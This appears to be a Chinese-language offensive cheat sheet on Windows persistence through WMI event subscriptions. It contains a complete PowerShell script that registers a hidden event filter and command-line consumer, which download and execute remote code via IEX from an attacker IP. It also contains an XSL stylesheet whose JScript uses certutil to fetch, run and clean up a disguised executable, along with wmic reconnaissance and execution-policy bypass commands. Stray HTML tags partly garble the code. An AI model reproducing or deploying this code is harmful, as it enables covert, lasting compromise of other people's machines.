权限维持-wmi事件

wmic product list brief |more

wmic service list brief |more

wmic startup list brief |more

wmic ntdomain list brief

#

function Install-Persistence{


$Payload = "<strong>((new-object net.webclient).downloadstring(‘http://192.168.3.68:80/logo.gif‘))</strong>"
$EventFilterName = ‘Cleanup‘
$EventConsumerName = ‘DataCleanup‘
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
 
# Create event filter
$EventFilterArgs = @{
    EventNamespace = ‘root/cimv2‘
    Name = $EventFilterName
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System‘ AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    QueryLanguage = ‘WQL‘
}
 
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
 
# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
    Name = $EventConsumerName
    CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
 
# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
 
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
if ($EventCheck -ne $null) {
    Write-Host "Event Filter $EventFilterName successfully written to host"
}
 
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
if ($ConsumerCheck -ne $null) {
    Write-Host "Event Consumer $EventConsumerName successfully written to host"
}
 
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name=‘$EventFilterName‘"""
if ($BindingCheck -ne $null){
    Write-Host "Filter To Consumer Binding successfully written to host"
}
}

function Remove-Persistence{ $EventFilterName = ‘Cleanup‘ $EventConsumerName = ‘DataCleanup‘


# Clean up Code - Comment this code out when you are installing persistence otherwise it will
 
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = ‘$EventConsumerName‘"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = ‘$EventFilterName‘"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
 
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}

function Check-WMI{ Write-Host "Showing All Root Event Filters"Get-WmiObject -Namespace root/subscription -Class __EventFilter


Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
 
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}

PS > Import-Module .\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

<?xml version=``‘1.0‘``?>

<stylesheet

xmlns=``"http://www.w3.org/1999/XSL/Transform" xmlns:ms=``"urn:schemas-microsoft-com:xslt"

xmlns:user=``"placeholder"

version=``"1.0"``>

<output method=``"text"``/>

``<ms:script implements-prefix=``"user" language=``"JScript"``>

``<![CDATA[

``var r = ``new ActiveXObject(``"WScript.Shell"``).Run(``"cmd.exe /c certutil -urlcache -split -f <strong>http://*/load.jpg</strong> %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete"``,0);

``]]> </ms:script>

</stylesheet>

 

powershell -exec bypass

PS > Import-Module .\WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

PS > Remove-Persistence 用完以后务必要记得随手删掉